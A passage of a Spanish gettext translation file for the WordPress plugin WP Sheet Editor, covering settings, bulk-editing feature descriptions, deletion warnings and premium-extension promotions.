defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

